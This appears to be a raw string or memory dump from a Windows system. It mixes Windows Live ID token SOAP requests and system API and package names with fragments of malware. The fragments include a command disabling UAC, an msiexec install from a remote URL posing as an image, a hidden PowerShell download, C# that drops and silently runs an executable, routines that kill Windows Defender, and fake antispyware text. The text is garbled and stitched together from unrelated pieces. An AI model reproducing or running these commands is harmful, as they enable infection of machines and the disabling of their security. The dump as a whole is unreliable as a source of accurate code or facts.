<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{28520974-CE92-4F36-A219-3F255AF7E61E}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:04:38Z</wsu:Created><wsu:Expires>2026-02-20T16:09:38Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>dcat.update.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{28520974-CE92-4F36-A219-3F255AF7E61E}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><EncryptedData xmlns="http://www.w3.org/2001/04/xmlenc#" Id="devicesoftware" Type="http://www.w3.org/2001/04/xmlenc#Element"><EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc"></EncryptionMethod><ds:KeyInfo><ds:KeyName>http://Passport.NET/STS</ds:KeyName></ds:KeyInfo><CipherData><CipherValue>*</CipherValue></CipherData></EncryptedData><wssc:DerivedKeyToken wsu:Id="SignKey" Algorithm="urn:liveid:SP800108_CTR_HMAC_SHA256_DOUBLEDERIVED"><wsse:RequestedTokenReference><wsse:KeyIdentifier ValueType="http://docs.oasis-open.org/wss/2004/XX/oasis-2004XX-wss-saml-token-profile-1.0#SAMLAssertionID"/><wsse:Reference URI=""/></wsse:RequestedTokenReference><wssc:Nonce>*</wssc:Nonce></wssc:DerivedKeyToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:05:32Z</wsu:Created><wsu:Expires>2026-02-20T16:10:32Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#hmac-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue><KeyInfo><wsse:SecurityTokenReference><wsse:Reference URI="#SignKey"/></wsse:SecurityTokenReference></KeyInfo></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>dcat.update.microsoft.com</wsa:Address></wsa:EndpointReference></wsp:AppliesTo><wsp:PolicyReference URI="MBI_SSL"></wsp:PolicyReference></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{DF60E2DF-88AD-4526-AE21-83D130EF0F68}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>QscBWlAzbbNJQJYcJsQIJt5fMpcXRx6ZdFxhm//Ji14=</ps:WindowsClientString><ps:LicenseSignatureKeyVersion>*</ps:LicenseSignatureKeyVersion><ps:ClientCapabilities>1</ps:ClientCapabilities></ps:AuthInfo><wsse:Security><wsse:UsernameToken wsu:Id="devicesoftware"><wsse:Username>*</wsse:Username></wsse:UsernameToken><wsse:BinarySecurityToken ValueType="urn:liveid:device" id="DeviceDAToken">6wluwAVdt1a4Daw6i+yMqqwWB0D7adlfdXmCpPRAFao=</wsse:BinarySecurityToken><wsu:Timestamp wsu:Id="Timestamp"><wsu:Created>2026-02-20T16:14:07Z</wsu:Created><wsu:Expires>2026-02-20T16:19:07Z</wsu:Expires></wsu:Timestamp><Signature xmlns="http://www.w3.org/2000/09/xmldsig#"><SignedInfo><CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></CanonicalizationMethod><SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"></SignatureMethod><Reference URI="#RST0"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#PPAuthInfo"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference><Reference URI="#Timestamp"><Transforms><Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"></Transform></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"></DigestMethod><DigestValue>*</DigestValue></Reference></SignedInfo><SignatureValue>*</SignatureValue></Signature></wsse:Security></s:Header><s:Body><wst:RequestSecurityToken Id="RST0"><wst:RequestType>http://schemas.xmlsoap.org/ws/2005/02/trust/Issue</wst:RequestType><wsp:AppliesTo><wsa:EndpointReference><wsa:Address>http://Passport.NET/tb</wsa:Address></wsa:EndpointReference></wsp:AppliesTo></wst:RequestSecurityToken></s:Body></s:Envelope>
<s:Envelope><s:Header><wsa:Action s:mustUnderstand="1">*</wsa:Action><wsa:To s:mustUnderstand="1">*</wsa:To><wsa:MessageID>*</wsa:MessageID><ps:AuthInfo Id="PPAuthInfo"><ps:SSOFlags>*</ps:SSOFlags><ps:HostingApp>{DF60E2DF-88AD-4526-AE21-83D130EF0F68}</ps:HostingApp><ps:BinaryVersion>55</ps:BinaryVersion><ps:UIVersion>1</ps:UIVersion><ps:InlineUX>TokenBroker</ps:InlineUX><ps:IsAdmin>1</ps:IsAdmin><ps:Cookies></ps:Cookies><ps:RequestParams>AQAAAAIAAABsYwQAAAAxMDMz</ps:RequestParams><ps:WindowsClientString>Qsy
C:\Windows\System32\
 .exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
Windows.C
Windows.5
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
C:\WINDOWS\system32\kernelbase.dll[MofResourceName]
com.microsoft.windows.extensions.actionui
7f^com.microsoft.windows.extensions.xaml.actionui
com.microsoft.windows.extensions.xaml.actionui
WindowsUpdate::Internal::InstallControl::SmartRetryAsync
WindowsUpdate::Internal::InstallControl::Invoke
WindowsUpdate::Internal::InstallControl::GetAvailableUpdates
WindowsUpdate::Internal::InstallItem::CreateCheckpoint
L	windows li
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TravianGame_WindowsForms.Properties.Resources.resourcesWindowsInterface.Form1.resourcesT
Microsoft.Windows.Search.Indexer.Diagnostics
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft.Windows.OneSettingsClient
Microsoft.Windows.OneSettingsClient
Obfuscator_EnumWindowsF
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.RemoteDesktop.ServerStack
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Bthprops
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BackupReminder
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.AutoPlay
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AccountHealth
Windows.System.ShareExperience
Windows.System.NearShareExperienceReceive
Windows.System.MiracastReceiver	
Windows.System.DialServer
Windows.System.Continuum
Windows.System.Audio
Windows.System.AppInitiatedDownload
Windows.PrintDialog_cw5n1h2txyewy!Microsoft.Windows.PrintDialog
windows.immersivecontrolpanel_cw5n1h2txyewy!microsoftMTB
c:\windows\data.bin
A::WindowsDuplicateString(_availabilityId.Get(), pValue)
Windows::ApplicationModel::Store::Preview::InstallControl::GetEntitlementResult::get_OrderId
::WindowsDuplicateString(_skuId.Get(), pValue)
Windows::ApplicationModel::Store::Preview::InstallControl::GetEntitlementResult::get_AvailabilityId
Windows::Foundation::GetActivationFactory(HStringReference(RuntimeClass_Windows_UI_Notifications_ToastNotification).Get(), &spToastNotificationFactory)
WindowsUpdate::CommonTelemetry::BeginGetInstalledContentIds
WindowsUpdate::CommonTelemetry::EndUpdateMetadataPrepare
WindowsUpdate::CommonTelemetry::BeginUpdateMetadataPrepare
WindowsUpdate::CommonTelemetry::CompleteGetSlsURL
WindowsUpdate::CommonTelemetry::TraceError
WindowsUpdate::CommonTelemetry::DiagError
WindowsUpdate::CommonTelemetry::FulfillmentInitiate
WindowsUpdate::CommonTelemetry::FulfillmentComplete
WindowsUpdate::CommonTelemetry::ScheduleWorkWithUO
WindowsUpdate::CommonTelemetry::StateTransition
WindowsUpdate::CommonTelemetry::BlockLowPriorityWorkItems
WindowsUpdate::CommonTelemetry::UnblockLowPriorityWorkItems
WindowsUpdate::CommonTelemetry::RestoreDeviceMetrics
WindowsUpdate::CommonTelemetry::RestoreError
WindowsUpdate::CommonTelemetry::QueueStuckError
WindowsUpdate::CommonTelemetry::InstallQueueHeartbeat
WindowsUpdate::CommonTelemetry::AbortedInstallation
WindowsUpdate::CommonTelemetry::QueueStateInfo
WindowsUpdate::CommonTelemetry::Stats
WindowsUpdate::CommonTelemetry::LogGetProductData
WindowsUpdate::CommonTelemetry::LogCreatePurchase
WindowsUpdate::CommonTelemetry::LogCompletePurchase
WindowsUpdate::CommonTelemetry::CompletePostCampaignData
WindowsUpdate::CommonTelemetry::LogHttpGetFile
WindowsUpdate::CommonTelemetry::InstallRequestReceived
WindowsUpdate::CommonTelemetry::GenerateIfMissingCorrelationVector
WindowsUpdate::CommonTelemetry::LogUpdateByPFN
WindowsUpdate::CommonTelemetry::BeginInstallOperationRequest
WindowsUpdate::CommonTelemetry::ResumeOperationRequest
WindowsUpdate::CommonTelemetry::EndInstallOperationRequest
WindowsUpdate::CommonTelemetry::SearchForUpdateOperationRequest
WindowsUpdate::CommonTelemetry::UpdateAppOperationRequest
WindowsUpdate::CommonTelemetry::EndGetInstalledContentIds
Windows::Internal::InstallService::Control::IsDeviceUptimeEnoughForStubification
Windows::Internal::InstallService::Control::IsTaskPeriodCheckLongEnough
Windows::Internal::InstallService::Control::InstalledPackage::SetPackagePreferenceFullToStub
Windows::Internal::InstallService::Control::StubificationEnabled
Windows::Internal::InstallService::Control::InstalledPackage::HasStubVersion
Windows::Internal::InstallService::Control::InstalledPackage::ShouldPrioritizeInQueue
Windows::Internal::InstallService::Control::InstalledPackage::SetPackagePreferenceStubToFull
Microsoft.Windows.Defender
Microsoft.Windows.Defender
Microsoft.Windows.DefenderCore1DS
Microsoft.Windows.DefenderCorePrivate
Microsoft.Windows.TlgAggregateInternal
WINDOWS11
Xc:\windows\system32\msiexec.exe/ihttp://black-sun-a335.asyorfplmnv.workers.dev/mnwodbptk6ju/5hwtrlyyhfiv/7b0985c861986ec9e2087ade8273e544009d68e1/ssdxxip8dqeq.jpg/q
nC:Windows88.exe203.160.54.250/9@fuck
%programfiles%\digiarty\winx blu-ray decrypter;%system32%
%programfiles%\notepad++\updater;%programfiles%\windowsapps\msteams_%version%;%programfiles%\coolmuster\coolmuster pdf creator pro\%version%\bin
WINDOWS11
root\Microsoft\Windows\DeviceGuard
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity>
 Windows 10 
'Windows
840' prettyName='Windows 11 Pro, 64-bit (Build 26200.7840)'
\\windows\\currentversion\\\
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
\\WINDOWS11
>!;diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
xdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
9"2diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
BdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
diskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\machine.pckgdep
SdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat.LOG1
RdiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\Microsoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy\ActivationStore.dat
WindowsRuntimeDesignerContext
WindowsAccountType
Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0112~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|!
Microsoft-Windows-Client-Desktop-Required-Package02~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|!
Composition-Core-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-Client-Desktop-Required-Package0418~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|!
Microsoft-Windows-EnterpriseClientSync-Host-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|!
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Legacy-Components-OC-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|!
Microsoft-Windows-Kernel-Package-OS-Kernel-HAL-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|!
Microsoft-Windows-Legacy-Components-OC-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|64e35~amd64~~10.0.26100.7824.cat|Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
://fejalconstrucoes.com.br/windows.txt
ss_dir','windowshide','8jkrca
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
Microsoft-Windows-Client-Desktop-Required-Package0414~31bf3856ad364e35~amd64~~10.0.26100.1742.cat
\powershell.exe-executionpolicybypass-noprofile-windowstylehidden(new-objectsystem.net.webclient).downloadfile('http
We've imported your extensions to the new Microsoft CopilotWe've installed your extensions in the new Microsoft CopilotHelp Microsoft improve our products by sending crash reports, info about how you use Copilot and the websites you visit.By clicking "Accept and get started" you allow Microsoft Copilot to $1update automatically$2 so that you always have the latest improvements. These updates are independent of your Windows update settings.Microsoft Copilot CompatibilitySites on this list will only be able to use the specified content decryption
Microsoft.Windows.Inventory.Core
Microsoft.Windows.Compatibility.Encapsulation
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.TlgAggregateInternal
Windows.Defender.MpUxDlp
WindowsDefenderMpUxDlp
Windows Defender
GetSystemWindowsDirectoryW
GetWindowsDirectoryW
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
ext-ms-win-ntuser-windowstation-l1-1-0.dll
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Microsoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
_c:\windows\*
DriverData=C:\Windows\System32\Drivers\DriverData
Microsoft.Windows.Security.Winlogon
MICROSOFT.WINDOWS.SPARSEGENERATION.AUMID
.?AUtype@?$abi@UIUnknown@Foundation@Windows@winrt@@X@impl@winrt@@
.?AUtype@?$abi@UDispatchedHandler@Core@UI@Windows@winrt@@X@impl@winrt@@
.?AU?$implements_delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@winrt@@
.?AU?$delegate@UAsyncActionCompletedHandler@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@UIAsyncAction@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$implements_delegate@U?$AsyncOperationCompletedHandler@UExperiencePack@Experiences@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@U?$disconnect_aware_handler@U?$await_adapter@U?$IAsyncOperation@UExperiencePack@Experiences@Services@WindowsUdk@winrt@@@Foundation@Windows@winrt@@@impl@winrt@@@impl@4@@impl@winrt@@
.?AU?$disconnect_aware_handler@U?$await_adapter@U?$IAsyncOperation@UExperiencePack@Experiences@Services@WindowsU
:\c:\windows
?GetIOWinsta@tagWINDOWSTATION@@SAPEBU1@XZ
Microsoft.Windows.MetadataResolution.NamespaceResolution
WINDOWS\system32\config
path.getrandomfilename()+".exe");file.writeallbytes(tempfilepath,exebytes);processprocess=newprocess();process.startinfo.filename=tempfilepath;process.startinfo.useshellexecute=false;process.startinfo.createnowindow=true;process.startinfo.windowstyle=processwindowstyle.hidden;
c:\users\micros~1\appdata\local\temp\{91a22f92-e5ed-4e56-830f-5cf950aac17d}\g5sizbqpakqhvnrmua6qng3zppjqladukmyjdcurfcviu67.jar3g5sizbqpakqhvnrmua6qng3zppjqladukmyjdcurfcviu67.jar}c:\users\microsoft\appdata\local\microsoft\windows\inetcache\content.word\g5sizbqpakqhvnrmua6qng3zppjqladukmyjdcurfcviu67.jar
15f^com.microsoft.windows.extensionpackage
160^com.microsoft.windows.extensions.voiceaccessplugin
161^com.microsoft.windows.extensions.xaml.voiceaccessplugin
"Qsetoshell=createobject("wscript.shell")oshell.run"c:\windows\pchealth\
kill_del(, tsdrv "\system\autodrive.exe")kill_del(, startup "\internet security.lnk")task manager ahk_class anvirmainframekill_del(, myprg_dir "\windows defenderkill_del(, a_loopfield ":\autorun.inf")\000b09274b.exe,\0cf48.exe,\61a60\we83b.exe,\a-fast.exe,\amvo.exe,\ab\abest.exe,
NtUserGetProcessWindowStation
NtUserUnhookWindowsHook
NtUserUnhookWindowsHookEx
NtUserUnlockWindowStation
NtUserUpdateWindows
s\system32
edge.perf_center.efficiency_mode.sync_windows_energy_saver_toggle
edge.perf_center.efficiency_mode.sync_windows_energy_saver_toggle
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Security.Winlogon
Microsoft.Windows.Shell.Desktop.UserLogonTelemetry
Microsoft.Windows.Desktop.Shell.OOBEHealth
Microsoft.Windows.Security.Winlogon
Microsoft.Windows.Security.Winlogon
Microsoft.Windows.Security.Shutinit
Microsoft.Windows.Security.WinlogonNotify
Microsoft.Windows.Security.CandidateAccountManagerPolicy
winlogon.pdb
api-ms-win-core-windowserrorreporting-l1-1-0.dll
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
GetWindowsDirectoryW
WindowsCreateString
WindowsDuplicateString
WindowsDeleteString
WindowsGetStringRawBuffer
WindowsStringHasEmbeddedNull
WindowsCreateStringReference
WindowsIsStringEmpty
WindowsGetStringLen
WindowsDeleteStringBuffer
WindowsPromoteStringBuffer
WindowsPreallocateStringBuffer
hklm\software\microsoft\windows defender\windows defender exploit guard\controlled folder access
Microsoft.Windows.Health.TestInProduction
AS/API/WindowsCortanaPane/V2/WSBServiceWorker.js 
C:\WINDOWS\SYSTEM32\NETWORKEXPLORER.DLL>(
C:\WINDOWS\SYSTEM32\LEGITCHECKCONTROL.DLL
Recho---disable"windowsdefenderfirewall"servics
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
NtUserAlterWindowStyle
NtUserArrangeIconicWindows
NtUserClearWindowState
NtUserCloseWindowStation
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
get_IsAppEarlierThanWindowsPhone8
usocoreworkerrunningusocoreworker.pdbonecore\enduser\usoapi.pdbmusnotifyiconwindowsupdateelevatedinstaller\
Mreferer: https://www.e-gold.com/acct/ai.asp?c=asyfhty25\00t0p00.exec:\windows\system32\intel3.dll
kc:\windows\system32\browsemu.dll/acct/ai.asp?c=co%temp%\serv
ouh bab%s\regsvr32.exe "%s" %sC:\WINDOWS\SYSTEM32\*.*
Software\Windows
Are you sure you want to uninstall Windows Safety Alert from your computer?Please wait while Windows Safety Alert is being uninstalled. Close all applications.this program install on your system antispayware software.carolus/c del %s >> nullxyxuic.dllpkgvyg.dllSoftware\Microsoft\Windows\CurrentVersion\Uninstall\Windows Safety Alertrundll32.exe %s,windowssysres
Software\Microsoft\Windows\CurrentVersion\Explorer
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe_322
Microsoft.WindowsAppRuntime.1.5_5001.373.1736.0_x86__8wekyb3d8bbwe
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.InputStateManager
Microsoft.Windows.Cursor.CursorTests
Microsoft.Windows.OneCore.MinInput
Microsoft.Windows.OneCore.MinInputBamo
Microsoft.Windows.ContentDeliveryManager
